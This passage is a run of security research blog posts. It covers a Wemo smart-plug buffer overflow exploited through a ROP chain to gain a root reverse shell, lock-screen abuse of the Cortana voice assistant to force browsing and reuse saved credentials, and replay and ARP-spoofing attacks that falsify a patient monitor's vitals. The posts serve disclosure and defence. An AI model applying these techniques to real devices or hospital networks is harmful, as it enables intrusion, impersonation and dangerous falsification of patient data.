With root access on the Wemo, we could gather more information about the crash during the UPnP fuzzing. First, we needed to compile the tools required to perform more in-depth analysis for this specific architecture. Using the GPL, we compiled gdbserver and gdb for the device. The Wemo had a large amount of installed tools, such as “wget,” making it simple to add files. We downloaded and executed the tools from the /tmp directory.

After a large amount of trying, we failed to get gdb running directly or remotely with the device. So we used gdbserver, in conjunction with Interactive Disassembler Pro, for all debugging. With the debugger connected, we sent the packet causing the crash and saw the exact location of the crash. A segmentation fault occurred at address 0x2AC15B98. From the memory layout from the Linux “proc” directory, we determined his memory address resides in library libUPnPHndlr.so.

2abf3000-2ac4d000 r-xp 00000000 1f:02 82 /rom/lib/libUPnPHndlr.so

Because the crash was caused by a UPnP packet, it was logical to find the crash inside this library . With the base address 0x2abf3000, we calculated the offset for static analysis in IDA to be 0x22b98.  At this address, we found the following:

LOAD:00022B70  # =============== S U B R O U T I N E =======================================

LOAD:00022B70

LOAD:00022B70

LOAD:00022B70                 .globl TokenParser

LOAD:00022B70 TokenParser:                             # CODE XREF: ProcessEnergyPerunitCostNotify+84↓p

LOAD:00022B70                                          # DATA XREF: LOAD:00004210↑o …

LOAD:00022B70                 beqz    $a1, locret_22BC0

LOAD:00022B74                 move    $a3, $zero

LOAD:00022B78                 move    $a3, $zero

LOAD:00022B7C                 b       loc_22BB4

LOAD:00022B80                 li      $t0, 0x7C  # ‘|’

LOAD:00022B84  # —————————————————————————

LOAD:00022B84

LOAD:00022B84 loc_22B84:                               # CODE XREF: TokenParser+28↓j

LOAD:00022B84                 addiu   $a1, 1

LOAD:00022B88                 addiu   $v1, 1

LOAD:00022B8C

LOAD:00022B8C loc_22B8C:                               # CODE XREF: TokenParser+48↓j

LOAD:00022B8C                 lb      $v0, 0($a1)

LOAD:00022B90                 beql    $v0, $t0, loc_22BA4

LOAD:00022B94                 sb      $zero, 0($v1)

LOAD:00022B98                 bnezl   $v0, loc_22B84

LOAD:00022B9C                 sb      $v0, 0($v1)

LOAD:00022BA0                 sb      $zero, 0($v1)

LOAD:00022BA4

LOAD:00022BA4 loc_22BA4:                               # CODE XREF: TokenParser+20↑j

LOAD:00022BA4                 beqz    $a1, locret_22BC0

LOAD:00022BA8                 addiu   $a0, 4

LOAD:00022BAC                 addiu   $a1, 1

LOAD:00022BB0                 addiu   $a3, 1

LOAD:00022BB4

LOAD:00022BB4 loc_22BB4:                               # CODE XREF: TokenParser+C↑j

LOAD:00022BB4                 slt     $v0, $a3, $a2

LOAD:00022BB8                 bnezl   $v0, loc_22B8C

LOAD:00022BBC                 lw      $v1, 0($a0)

LOAD:00022BC0

LOAD:00022BC0 locret_22BC0:                            # CODE XREF: TokenParser↑j

LOAD:00022BC0                                          # TokenParser:loc_22BA4↑j

LOAD:00022BC0                 jr      $ra

LOAD:00022BC4                 move    $v0, $a3

LOAD:00022BC4  # End of function TokenParser

 

Because the developers left the binary unstripped, we can name this function TokenParser. The segmentation fault occurs at a branch instruction; however, in MIPS the delay instruction is executed before the branch occurs. Thus the instruction at 0x22B9C is causing the crash. Here the application attempts to load what is at the address stored in $v1 and place it in $v0. Taking a look at the registers, we find the data from our packet in XML tags “EnergyPerUnitCostVersion” is in $v1, leading to an “invalid write access” segmentation fault error.

After statically analyzing the function, it appears to copy data from one section to another, looking three times for a 0x7C or “|” character. If it never finds the “|,” it keeps copying into a statically defined buffer. To fully understand why the overwrite occurs, let’s take a look at the stack as we step through the function:

2EF17630 2AC692F0 MEMORY:2AC692F0
2EF17634 00000000 MEMORY:saved_fp
2EF17638 34333231 MEMORY:34333231 ← previously copied data
2EF1763C 00000035 MEMORY:retaddr+31  ← next byte will be written at 0x2EF1763D
2EF17640 00000000 MEMORY:saved_fp  ← zeroed out memory prepared for the copy
2EF17644 00000000 MEMORY:saved_fp
2EF17648 00000000 MEMORY:saved_fp
2EF1764C 00000000 MEMORY:saved_fp
2EF17650 2EF17638 MEMORY:2EF17638 ← start writing at this address; can be overwritten

As the function copies data onto the stack, it eventually copies over the address for the original buffer. Once this address is overwritten, the function attempts to write the next byte at the new value, in this case is an invalid address. This overflow gives an attacker two exploitable vectors: a write-what-where condition allows an attacker to write data to an arbitrary location in memory; by continuing to overwrite data on the stack, an attacker can overwrite the $RA register or return address for the calling function, providing the attacker control of the execution flow.

Writing the exploit

Now that that we understand the vulnerability, can we exploit it? Because this is a standard buffer overflow, we need to answer two questions. How much room is available on the stack, and are there any “bad” bytes that cannot make it onto the stack? To determine the available room, we can examine how much of the payload makes it onto the stack if we repair the address overwritten on the stack with a valid address. We learned only 91 bytes can be written onto the stack.

The next step is to determine if there are any “bad” bytes. After running a few tests, we noticed that only ASCII characters can make it onto the stack. Before the vulnerable code is executed, the packet is parsed by the open-source XML parser “mxml.” This library follows the standard of allowing only ASCII and Unicode characters to exist between tags.

This standard is very problematic for both shellcode and return-oriented programming (ROP) techniques because both memory address and shellcode tend to use mostly nonreadable characters. We could use several techniques to combat room on the stack; however, due to the hard limitation on characters that will pass through the XML sanitization process, it would be best to use functions that are already loaded into memory. One method that does not require extensive shellcode is to use a “return to libc” attack to execute the system command. Because the system call typically takes a string as a parameter, this might pass through the filter. Because the Wemo does not use address space layout randomization, if we use ROP it would be theoretically possible to make a call to system without needing to pass additional shellcode through the XML filter.

We still face a major challenge: Only addresses comprising entirely ASCII characters can pass through the XML filter. This drastically limits the potential for finding usable gadgets. We used IDA to see where libc and system are loaded into memory, and found two implementations: in libuClibc-0.9.33.2.so at address 0x2B0C0FD4; and in libpthread-0.9.33.2.so at address 0x2AD104F4. However, neither of these addresses meet the requirements to pass through the XML filter. Thus even if we could create an ROP chain, we would not be able to send just the address for system in the packet.

Addresses with bad characters are not a new problem for exploit development. One of the most common bypasses is to use addition or subtraction ROP gadgets to create the required address in a register and call that register. Again, however, we face the limitation on which operands can be used for this addition or subtraction equation due to the XML filter.

After studying the memory layout, we discovered that libuClibc-0.9.33.2.so sits at a memory location with addresses that can bypass the XML filter. We were fortunate that this is a large library, providing a decent list of addresses, because it is the only library in such a space. With this discovery, the team created a tool to assist with the creation of this exploit. The tool pulls out all possible ROP gadgets with usable memory addresses and determines if an addition or subtraction equation could call one of the two system calls found in memory, using only the values that will bypass the filter. The address for system in libuClibc-0.9.33.2.so, 0x2B0C0FD4, did not have any usable operands. However, 0x2AD104F4 did. We found several “filter-proof” operands that when added together equaled 0x2AD104F4.

We employed our tool’s output for all possible ROP gadgets that bypass the filter to build an ROP chain, which uses an addition instruction to create the final address for system and stores it in $s0. After the addition, another gadget moves the address for system into $t9 and calls system. This final gadget also moves an address that can be controlled from the stack into the register holding the parameter for the system call. The entire ROP chain consists of only three gadgets, which easily fit in the stack space provided by the buffer overflow. 

 

Piecing everything together 

Earlier we discovered two attack techniques that can be used with this vulnerability: a write-what-where, and overwriting the return address on the stack. Each packet sent can use each technique once. To get a parameter to the system call, we must use write-what-where to place the parameter in a writable memory address and pass this address to system. Fortunately, this vulnerable application sets aside a large amount of writable memory that is never used, and in a range accessible to our limited set of addresses that bypass the filter. Unfortunately, the ROP chain that calls system requires the use of write-what-where to handle extra instructions in one of the ROP gadgets. This means that two packets are required to execute the exploit: one to write the parameter for system into memory, and a second to make the call to system. Thus it is important that the first packet exits cleanly and does not crash the program.

One way to execute cleanly is to use three well-placed pipes (“|”) inside the payload to stop writing and exit TokenParser at the appropriate time. It is also important to not overwrite the RA pointer so the program can continue normal execution after the packet is received. Then the second packet is sent containing the ROP chain calling system with the address of the parameter written by the previous packet. 

Payload 

With the discovery of a valid ROP chain that can call system, we must decide what system should call. Because system executes as root, we can gain complete control of the device. Our research has showed that the device has many Linux commands installed. We leveraged this earlier with wget to copy gdbserver to the device. An attacker could also call wget from system to download and execute any script. We explored further for installed applications and found NetCat, which could allow an attacker to write a script to create a reverse shell. An attacker could download a script using wget, and execute the script containing a NetCat command to create a reverse shell. We tested and proved this is one simple, effective method, opening a reverse shell as root. Attackers could choose many other methods to leverage this exploit and execute code. The following video demonstrates this exploit working with a reverse shell.

To illustrate, the team wrote an attack scenario. After the plug is compromised, it could use the built-in UPnP library to poke a hole in the network router. This hole creates a backdoor channel for an attacker to connect remotely, unnoticed on the network. In the following video, we used a remote shell to control a TCL smart TV connected to the network. The Roku API implementation on the TV uses simple unencrypted HTTP GET/POST requests to issue commands and does not authenticate the machine sending these commands, making remote control trivial. Using the Wemo as a middleman, the attacker can power the TV on and off, install or uninstall applications, and access arbitrary online content. Smart TVs are just one example of using the Wemo to attack another device. With the attacker having established a foothold on the network and able to open arbitrary ports, any machine connected to the network is at risk. Because attacks can be conducted through the Wemo and the port mappings generated using this exploit are not visible from the router’s administration page, the attacker’s footprint remains small and hard to detect.

Conclusion 

Discoveries such as CVE-2018-6692 underline the importance of secure coding practices on all devices. IoT devices are frequently overlooked from a security perspective; this may be because many are used for seemingly innocuous purposes such as simple home automation. However, these devices run operating systems and require just as much protection as desktop computers. A vulnerability such as we discovered could become the foothold an attacker needs to enter and compromise an entire business network.

One goal of the McAfee Advanced Threat Research team is to identify and illuminate a broad spectrum of threats in today’s complex and constantly evolving landscape. Through analysis and responsible disclosure, we aim to guide product manufacturers toward a more comprehensive security posture.

The post ‘Insight’ into Home Automation Reveals Vulnerability in Simple IoT Product appeared first on McAfee Blogs.

]]>
https://securingtomorrow.mcafee.com/other-blogs/mcafee-labs/insight-into-home-automation-reveals-vulnerability-in-simple-iot-product/feed/ 0
McAfee ePO Platform Gains Insight Into Threat Research https://securingtomorrow.mcafee.com/other-blogs/mcafee-labs/mcafee-epo-platform-gains-insight-into-threat-research/ https://securingtomorrow.mcafee.com/other-blogs/mcafee-labs/mcafee-epo-platform-gains-insight-into-threat-research/#respond Tue, 14 Aug 2018 21:49:25 +0000 https://securingtomorrow.mcafee.com/?p=90918 The latest update to the McAfee® ePolicy Orchestrator® platform offers a new add-in to provide insight into the latest analysis carried out by McAfee Labs and the Advanced Threat Research team.

The post McAfee ePO Platform Gains Insight Into Threat Research appeared first on McAfee Blogs.

]]>
The latest update to the McAfee® ePolicy Orchestrator® platform offers a new add-in to provide insight into the latest analysis carried out by McAfee Labs and the Advanced Threat Research team. The Security Resources section of the McAfee ePO™ console Version 5.10.0 will contain multiple windows providing the latest news.

The first window in the section shows an updated list of the most recent threats research published by the McAfee Labs team. This includes both malware and vulnerability research. For example, this week we released a report that shows it is possible to emulate and modify a patient’s vital signs in real time on a medical network using a patient monitor and central monitoring station. We also include research related to new malware campaigns. All our content is mapped to the MITRE ATT&CK framework and includes all known indicators of compromise, as well as detailing how McAfee products protect against the documented campaign.

Top threats

The section includes a condensed version of the Threat Landscape Dashboard, which contains the top threats across exploit kits, campaigns, ransomware, and vulnerabilities. The following screen shows how the summary will appear in the McAfee ePO console, allowing readers to easily review and click through these threats for more detail.

The latest McAfee ePO console will offer an easy review of analysis gathered by McAfee Labs and the Advanced Threat Research team.

Top stories
Want to know more? The Top Stories section offers the latest information from McAfee news sources, including new product releases and new blog content (beyond threats analysis).

Support and product advisories

At the bottom right of the screen you will find Security Product Advisories:

  • Support Notification Service: McAfee SNS is a proactive notification service that allows McAfee to communicate critical information in a timely manner on product upgrades, releases, and end-of-life notices. SNS is a vital information link during critical incidents, providing you with the updates you need to ensure that your systems and organization are protected.
  • Product Security Bulletins: McAfee is focused on ensuring the security of our customers’ computers, networks, devices, and data. We are committed to rapidly addressing issues as they arise, and providing recommendations through security bulletins and knowledgebase articles.
  • McAfee Labs Security Advisories: These are a free notification service backed by our global research team. McAfee Labs Security Advisories map high-profile threats to the McAfee technologies that protect your environment.

What next?

You can expect the dashboard to evolve and provide more detail in future versions. Please let us know what you would like to see.

 

The post McAfee ePO Platform Gains Insight Into Threat Research appeared first on McAfee Blogs.

]]>
https://securingtomorrow.mcafee.com/other-blogs/mcafee-labs/mcafee-epo-platform-gains-insight-into-threat-research/feed/ 0
Microsoft Cortana Allows Browser Navigation Without Login: CVE-2018-8253 https://securingtomorrow.mcafee.com/other-blogs/mcafee-labs/microsoft-cortana-allows-browser-navigation-without-login-cve-2018-8253/ https://securingtomorrow.mcafee.com/other-blogs/mcafee-labs/microsoft-cortana-allows-browser-navigation-without-login-cve-2018-8253/#respond Tue, 14 Aug 2018 17:31:48 +0000 https://securingtomorrow.mcafee.com/?p=90900 A locked Windows 10 device with Cortana enabled on the lock screen allows an attacker with physical access to the device to do two kinds of unauthorized browsing.

The post Microsoft Cortana Allows Browser Navigation Without Login: CVE-2018-8253 appeared first on McAfee Blogs.

]]>
A locked Windows 10 device with Cortana enabled on the lock screen allows an attacker with physical access to the device to do two kinds of unauthorized browsing. In the first case, the attacker can force Microsoft Edge to navigate to an attacker-controlled URL; in the second, the attacker can use a limited version of Internet Explorer 11 using the saved credentials of the victim.

In June we published our analysis of a full login bypass mechanism for all Windows 10 devices for which Cortana is enabled on the lock screen. (This is still the default option.) The discovery of the full login bypass was part of a wider research effort into what access the digital assistant Cortana might offer to an adversary when the device is locked. This post details these two additional issues; we reported them to Microsoft at the same time we reported the login bypass. The two new flaws have now been addressed as part of Microsoft’s August update. Some of the issues are also partially mitigated by modifying the answer obtained from a Bing search query.

In the first scenario, a Cortana privilege escalation leads to forced navigation on a lock screen. The vulnerability does not allow an attacker to unlock the device, but it does allow someone with physical access to force Edge to navigate to a page of the attacker’s choosing while the device is still locked. This is not a case of BadUSB, man in the middle, or rogue Wi-Fi, just simple voice commands and interacting with the device’s touchscreen or mouse.

Several months ago, researchers from Israel demonstrated a similar attack using a BadUSB device, masquerading as a network interface card to inject content into trusted HTTP sites while using Cortana to force navigation. Microsoft has since removed this ability to navigate directly to a domain and instead now opens a search in Bing over HTTPS to the domain in question. Some of our findings could also be combined with a BadUSB approach.

We explored whether one could still force navigation to an attacker-controlled page. In short, yes, one can, but it does take some extra effort.

Cortana is very helpful when it comes to defining terms, or looking up corporations, movies, artists, or athletes. She can even do math. However, Cortana’s behavior and the answers she gives are affected by the way you ask a question. For example, if you were to ask the colloquial question “Hey Cortana, what is McAfee?” you would get a quick answer directly from a Bing search. If, however, you asked only “Hey Cortana, McAfee,” you would receive a more detailed response, including links to various trusted sites. These include Wikipedia, Twitter, Facebook, LinkedIn, and the “official website” (more later on this important link).

Cortana’s answers to similar but not identical queries about “McAfee.”

It is surprising that links are offered and clickable when the device is locked. If you start your favorite network sniffer or man-in-the-middle proxy, you will see that the links are visited as soon as the user clicks on them, irrespective of the device’s locked status.

This means we can force navigation to a website (though not yet the one we want) when the device is locked. However, we have seen that Cortana can be picky in how she offers results. Bing must already know these results, and most links are known trusted sites.

That leaves us with the official website. You might recognize this terminology: It is a common link presented by Wikipedia. If you look at the bottom of a Wikipedia article, you will often find a link to an official website.

Could Cortana just use Wikipedia as a trusted source? After a few delightful conversations with her, we can confirm that the official website for items she refers from Wikipedia is indeed the same as the Official Website link on Wikipedia. There is no one-to-one correlation on Wikipedia’s official website for Cortana to display the corresponding link. We assume there is some possible weighting of the domain name or logic in the Bing output that influences Cortana’s displayed links.

We can leverage this information to craft a fake Wikipedia entry, add enough content to get the review to succeed, add an official website link, and see what Cortana presents. Wikipedia reviewers do a pretty good job of vetting content, but we also need Bing to become aware of the entry so that Cortana could offer the answer and the link. Because of the time-dependent factor of the approach (and the ethical aspect of tampering with Wikipedia content in a malicious way), we decided to take a different path—although others could use this attack vector.

Instead of creating an entry in Wikipedia, making sure that Bing indexes it and that Cortana provides the official website link, we opted for an alternative. We can instead hunt Wikipedia for unmaintained or dead official website links. Fortunately for us, Wikipedia maintains a list of “dead links” and “permanent dead links.” A search for “Xbox Linux” looks like this:

To aid in our hunt, Wikipedia has a fairly robust search engine that accepts regular expressions.

With just a little bit of tinkering we come up with the following search:

insource:/\{official (website)?\|https?\:\/\/[^}]+\.com\/[^}]\}\}\{\{dead link/

This is neither an exhaustive list, nor the most efficient regular expression, but it does find some candidates without triggering the Wikipedia query timeout.

The next step is to write a script to parse the output, grab a list of domains, and check whether they are actually vacant. Many of them are still registered but do not serve any content; others are live despite the “dead link” tag. We end up with a list of domains, some more expensive than others, that are vacant.

What will Cortana display for each of these Wikipedia entries? One after another, we ask. Retrospectively, writing a text-to-speech script would have been faster. Cortana answers surprisingly well to other digital speech synthesizers.

Many of the entries do not provide the official website link, but some do. It is annoying that the way you ask the question interferes with the results. Not only is the phrasing of the question important; the decision of whether to dictate a word or spell it out may change the answer. To obtain the answer you want from Cortana, you may have to combine both approaches.

For example, we asked “Hey Cortana, what is Miss Aruba?” We saw, while the device was locked, the following answer:

The official website link points to “hxxp://www.missaruba.aw.” A quick search shows the domain is still available.

In conclusion, we now have Wikipedia articles for which Cortana will display an official website link, and for which the domain is available for purchase. After spending $11.99 for a cheaper domain, we own one.

Although it took some regular-expression authoring, some scripting, and buying a domain, this method was faster and more satisfying than waiting for Bing to publish and index a new Wikipedia entry.

After this setup, what can we accomplish? We can ask Cortana (either via the interactive icon or vocal command “Hey Cortana”) to conduct a search while the device is locked. When she replies, we can click on the official website link and observe as Edge retrieves the content while the device remains locked.  To put a malicious spin on this unauthorized access, we have at least one straightforward option. We could install the latest exploit kit on our newly acquired domain and infect any locked Windows 10 PC with Cortana enabled without ever logging in. This attack could occur at a coffee shop, retailer, bank, or against targeted individuals. This configuration is the default on Windows, and our research has shown that many users never disable Cortana from the lock screen.

Digital voice assistants can be useful, but they must also be considered an attack vector. Although some may think this is a “noisy” vector, not applicable when stealth is required, you can employ techniques such as the DolphinAttack, which uses inaudible voice commands to close an air gap. Or if you have physical access to the device, a $5 3.5mm-jack cable will do as well.

An inexpensive 3.5mm-jack cable for silent interaction.

How can we protect against this attack vector? You can disable Cortana on your lock screen. Microsoft should not allow navigation to untrusted websites until it receives permission from the authenticated user, confirming on login that the user wants to visit a site.

Self-service Internet Explorer from the Windows lock screen

When we investigate a technology, we sometimes find that our initial findings are less substantial than what we learn after further investigation. Our research into Cortana and this attack surface was no different. What if one could surf the web freely with a full-fledged browser such as Internet Explorer 11, with access to cached credentials and autocomplete on a locked Windows 10 device? All thanks to Cortana? That could be much more impactful than browsing to just one URL.

That is possible with Cortana’s skills. It makes sense that Cortana offers skills similar to those of Amazon’s Alexa or Google Assistant. But it does not make sense to offer these skills directly from the lock screen when they are not yet configured.

One example is the “Real Estate Search” skill. While conversing with Cortana to analyze the capabilities she could offer an attacker, we found that she occasionally offered to try skills, including Real Estate Search.

One easy trigger is to ask “Hey Cortana, I want to sell my house.” This leads to the following screen:

If we click “Real Estate Search,” we get a login screen. Instead of logging in, let’s look at the other links offered by the interface. In the current case, the “Privacy Policy” link seems interesting:

Cortana’s skill login screen with a link to Privacy Policy.

Opening the link, we see a lengthy policy. If we scroll to the bottom of the page, we discover a few social media icons:

Privacy policy screen with links to social media sites.

These icons are indeed links, allowing us to reach Facebook or YouTube, and from there the rest of the Internet:

Reaching Facebook from the lock screen of a Windows 10 system.

Let’s summarize. You left for lunch with your new Windows Surface Book locked on your desk. Cortana is on by default on your lock screen. Your disk is encrypted. What could go wrong?

Anybody who has physical access to your locked device can start browsing the web. What if someone were to navigate to a work-unfriendly website from your device, or post inflammatory comments in a public forum that could be attributed to your device’s IP address?

A device-specific attribution would be bad, but could you use the same method to post or access something from a real person’s name or account? We next investigated which browser is being used? Is it a Cortana custom browser? Is it a sandboxed Microsoft Edge? It is actually a customized Internet Explorer 11 restricted engine running in the context of AuthHost.exe. (We will publish another analysis on this limited “browser” because its properties and lack of security mechanisms could become handy for red teams.)

This is the Internet Explorer engine and not the full browser, though both JavaScript and cookies are enabled. Worse, this incarnation shares the autocomplete and credentials saved in the context of the current user’s Internet Explorer session.

Thus in addition to posting a comment on a public forum from another user’s device while the device is locked, you can also impersonate the user thanks to its cached credentials.

One potential attack scenario arises if a corporation offers a mechanism to reset Windows credentials via a web server but does not require users to reenter the old password. One could simply navigate to the reset link, input a new password, exit the limited navigator, and unlock the device with the newly set password, all from a locked computer.

We have explored a couple of attack scenarios and security issues in this post, and we will continue our investigation into Cortana and other digital assistants as an attack vector. Your best mitigation at this point is to turn off Cortana on the lock screen. Here is a good tutorial on how to do so.

 

The post Microsoft Cortana Allows Browser Navigation Without Login: CVE-2018-8253 appeared first on McAfee Blogs.

]]>
https://securingtomorrow.mcafee.com/other-blogs/mcafee-labs/microsoft-cortana-allows-browser-navigation-without-login-cve-2018-8253/feed/ 0
80 to 0 in Under 5 Seconds: Falsifying a Medical Patient’s Vitals https://securingtomorrow.mcafee.com/other-blogs/mcafee-labs/80-to-0-in-under-5-seconds-falsifying-a-medical-patients-vitals/ https://securingtomorrow.mcafee.com/other-blogs/mcafee-labs/80-to-0-in-under-5-seconds-falsifying-a-medical-patients-vitals/#respond Sun, 12 Aug 2018 00:00:03 +0000 https://securingtomorrow.mcafee.com/?p=90812

With the explosion of growth in technology and its influence on our lives, we have become increasingly dependent on it. The medical field is no exception: Medical professionals trust technology to provide them with accurate information and base life-changing decisions on this data.

The post 80 to 0 in Under 5 Seconds: Falsifying a Medical Patient’s Vitals appeared first on McAfee Blogs.

]]>

The author thanks Shaun Nordeck, MD, for his assistance with this report.

With the explosion of growth in technology and its influence on our lives, we have become increasingly dependent on it. The medical field is no exception: Medical professionals trust technology to provide them with accurate information and base life-changing decisions on this data. McAfee’s Advanced Threat Research team is exploring these devices to increase awareness about their security.

Some medical devices, such as pacemakers and insulin pumps, have already been examined for security concerns. To help select an appropriate target for our research, we spoke with a doctor. In our conversations we learned just how important the accuracy of a patient’s vital signs is to medical professionals. “Vital signs are integral to clinical decision making” explained Dr. Shaun Nordeck. Bedside patient monitors and related systems are key components that provide medical professionals with the vital signs they need to make decisions; these systems are now the focal point of this research.

Exploring the attack surface

Most patient monitoring systems comprise at minimum of two basic components: a bedside monitor and a central monitoring station. These devices are wired or wirelessly networked over TCP/IP. The central monitoring station collects vitals from multiple bedside monitors so that a single medical professional can observe multiple patients.

With the help of eBay, we purchased both a patient monitor and a compatible central monitoring station at a reasonable cost. The patient monitor monitored heartbeat, oxygen level, and blood pressure. It has both wired and wireless networking and appeared to store patient information. The central monitoring station ran Windows XP Embedded, with two Ethernet ports, and ran in a limited kiosk mode at start-up. Both units were produced around 2004; several local hospitals confirmed that these models are still in use.

The two devices offer a range of potential attack surfaces. The central monitoring station operates fundamentally like a desktop computer running Windows XP, which has been extensively researched by the security community. The application running on the central monitoring station is old; if we found a vulnerability, it would likely be tied to the legacy operating system. The patient monitor’s firmware could be evaluated for vulnerabilities; however, this would affect only one of the two devices in the system and is the hardest vector to exploit. This leaves the communication between the two devices as the most interesting attack vector since if the communication could be compromised, an attack could possibly be device independent, affecting both devices by a remote attack. Given this possibility, we chose networking as the first target for this research. Dr. Nordeck confirmed that if the information passing to the central monitoring system could be modified in real time, this would be a meaningful and valid concern to medical professionals. Thus the primary question of our research became “Is it possible in real time to modify a patient’s vitals being transmitted over the network?”

Setup

When performing a vulnerability assessment of any device, it is best to first operate the device as originally designed. Tracking vital signs is the essence of the patient monitor, so we looked for a way to accurately simulate those signs for testing. Many hardware simulators are on the market and vary drastically in cost. The cheapest and easiest vital sign to simulate turned out to be a heartbeat. For less than $100 we purchased an electrocardiogram (ECG) simulator on eBay. The following image illustrates our test network:

In our test bed, the patient monitor (left), central monitoring station (right), and a research computer (top) were attached to a standard switch. The research computer was configured on a monitor port of the switch to sniff the traffic between the central monitoring device and the patient monitor. The ECG simulator was attached to the patient monitor.

Reconnaissance

With the network configured, we turned to Wireshark to watch the devices in action. The first test was to boot only the central monitor station and observe any network traffic.

In the preceding screenshot a few basic observations stand out. First, we can see that the central station is sending User Datagram Protocol (UDP) broadcast packets every 10 seconds with a source and destination port of 7000. We can also see clear-text ASCII in the payload, which provides the device name. After collecting and observing these packets for several minutes, we can assume this is standard behavior. Because the central station is running on a Window XP embedded machine, we can attempt to verify this information by doing some quick reverse engineering of the binaries used by the application. After putting several libraries into Interactive Disassembler Pro, it is apparent that the symbols and debugging information has been left behind. With a little cleanup and work from the decompilers, we see the following code:

This loop calls a function that broadcasts Rwhat, a protocol used by some medical devices. We also can see a function called to get the amount of time to wait between packets, with the result plugged into the Windows sleep function. This code block confirms what we saw with Wireshark and gives us confidence the communication is consistent.

Having gained basic knowledge of the central monitoring station, the next step was to perform the same test on the patient monitor. With the central station powered down, we booted the patient monitor and watched the network traffic using Wireshark.

We can make similar observations about the patient monitor’s broadcast packets, including the 10-second time delay and patient data in plaintext. In these packets we see that the source port is incrementing but the destination port, 7000, is the same as the central monitoring station’s.  After reviewing many of these packets, we find that offset 0x34 of the payload has a counter that increments by 0xA, or 10, with each packet. Without potentially damaging the patient monitor, there is no good way to extract the firmware to review its code. However, the central monitoring station must have code to receive these packets. With a bit of digging through the central station’s binaries, we found the section parsing the broadcast packets from the patient monitor.

The first line of code parses the payload of the packet plus 12 bytes. If we count in 12 bytes from the payload on the Wireshark capture, we can see the start of the patient data in clear text. The next function called is parse_logical_name, whose second parameter is an upper limit for the string being passed. This field has a maximum length of 0x20, or 32, bytes. The subsequent code handles whether this information is empty and stores the data in the format logical_name. This review again helps confirm what we see in real time with Wireshark.

Now that we understand the devices’ separate network traffic, we can look at how they interact. Using our network setup and starting the ECG simulator we can see the central monitor station and the patient monitor come to life.

With everything working, we again use Wireshark to examine the traffic. We find a new set of packets.

In the preceding screen capture we see the patient monitor at IP address 126.4.153.150 is sending the same-size data packets to the central monitoring station at address 126.1.1.1. The source port does not change.

Through these basic tests we learn a great deal:

  • The two devices are speaking over unencrypted UDP
  • The payload contains counters and patient information
  • The broadcast address does not require the devices to know each other’s address beforehand
  • When the data is sent distinct packets contain the waveform

Attacking the protocol

Our reconnaissance tells us we may have the right conditions for a replay attack. Such an attack would not satisfy our goal of modifying data in real time across the network; however, it would provide more insight about the requirements and may prove useful in reaching our goal.

After capturing the packets from the simulated heartbeat, we attempted to replay the captures using Python’s Scapy library. We did this with the patient monitor turned off and the central monitoring station listening for information. After several attempts, this test was unsuccessful. This failure shows the system expects more than just a device sending data packets to a specific IP address.

We examined more closely the packets that are sent before the data packets. We learned that even though the packets are sent with UDP, some sort of handshake is performed between the two devices. The next diagram describes this handshake. 

 

In this fanciful dialog, CMS is the central monitoring system; PM is the patient monitor.

To understand what is happening during the handshake, we can relate each phase of this handshake to that of a TCP three-way handshake. (This is only an analogy; the device is not actually performing a TCP three-way handshake.)

The central monitoring station first sends a packet to port 2000 to the patient monitor. This can be considered the “SYN” packet. The patient monitor responds to the central station; notice it responds to the source port of the initial request. This can be considered the “SYN,ACK.” The central station sends the final “ACK,” essentially completing a three-way (or three-step) handshake. Directly following this step, the patient monitor sends another packet to the initial port of the “SYN” packet. The central monitor responds to the patient monitor on port 2000 with a new source port. Immediately following, we see the data packets being sent to the new source port, 3627, named in the previous exchange.

This exam provides insight into why the replay attack did not work. The central station defines for each connection which ports will be open for the incoming data; we need to consider this when attempting a replay attack. Modifying our previous Scapy scripts to account for the handshake, we retested the replay attack. With the new handshake code in place, the test still failed. Taking another look at the “SYN,ACK” packets provides a potential reason for the failure.

At offset 0x3D is a counter that needs to be incremented each time one of these packets is sent. In this case the patient monitor’s source IP address is embedded in the payload at offsets 0x2A and 0x30. This embedded IP address is not as important for this attack because during the replay our scripts can become the patient monitor’s IP; however, this will become more important later. The newly discovered counter needs to be accounted for and incremented.

Emulating a patient monitor

By taking these new findings into account our replay attack becomes successful. If we can observe a certain ECG pattern, we can play it back to the central monitoring station without the patient monitor on the network. Thus we can emulate the function of the patient monitor with any device. The following video demonstrates this emulation using a Raspberry Pi. We set our Scapy scripts to load after booting the Pi, which mimics the idle function of the patient monitor. When the central monitor requests information about the patient’s vitals, the Pi provides the station with an 80-beats-per-minute wave form. This also works with the other vital signs.

Impact of emulation

Although we have not yet reached our goal of real-time modification, we must consider the implications of this type of attack. If someone were to unplug the monitor of a stable patient and replace it with a device that continued to report the same stable vitals, would that cause any harm? Probably not immediately. But what if the stable patient suddenly became unstable? The central station would normally sound an alarm to alert medical personal, who could take appropriate action. However, if the monitor had been replaced, would anyone know help was needed? The patient monitor also normally sounds alarms that might be heard in and outside of the patient’s room, yet if the monitor was replaced, those alarms would be absent.

In hospitals, nurses and other personal generally make periodic checks even of stable patients. So any deception might not last long, but it might not need to. What if someone were trying to kidnap a patient? A kidnapper would alert fewer people than would be expected.

Switching from a real patient monitor to an emulator would cause a short loss in communication from the patient’s room to the central monitoring station. Is this enough to make the scenario unrealistic or not a threat? We asked Dr. Nordeck if a short loss in connection could be part of a reasonable scenario. “A momentary disconnection of the ECG would likely go unnoticed as this happens often due to patient movement or changing clothes and, as long as it is reconnected, will be unlikely to cause an alert,” he said.

Modifying vitals in real time

Although emulating the patient monitor is interesting, it did not accomplish our goal of making real-time modifications. Using what we learned while testing emulation, could we perform real-time injection? To answer this question, we must first understand the difference between emulation and real-time injection.

Emulation requires a deeper understanding of how the initial connection, the handshake, between the two devices occurred. When considering real-time modification, this handshake has already taken place. But an attacker would not know which port the data packets are being sent too, nor any of the other ports used in the data stream. Plus, because the real patient monitor is still online, it will constantly send data to the central monitoring station.

One way to account for these factors is to use Address Resolution Protocol (ARP) spoofing. If the patient monitor is ARP spoofed, then the attacker, instead of the central monitoring station, would receive the data packets. This step would allow the attacker to determine which ports are in use and stop the patient monitor’s data from getting to the central monitoring station. Because we have already shown that emulation works, the attacker simply has to send replacement data to the central station while appearing as the patient monitor.

For example, consider the following original packet coming from the patient monitor:

The patient monitor sends a packet with the patient’s heartbeat stored at offset 0x71 in the payload. The patient monitor in this screen capture is at IP address 126.4.153.150. An attacker can ARP spoof the patient monitor with a Kali virtual machine.

The ARP packets indicate that the central station, IP address 126.1.1.1, is at MAC address 00:0c:29:a1:6e:bf, which is actually the Kali virtual machine. Wireshark recognizes two MACs with the same IP address assigned and highlights them, showing the ARP spoof.

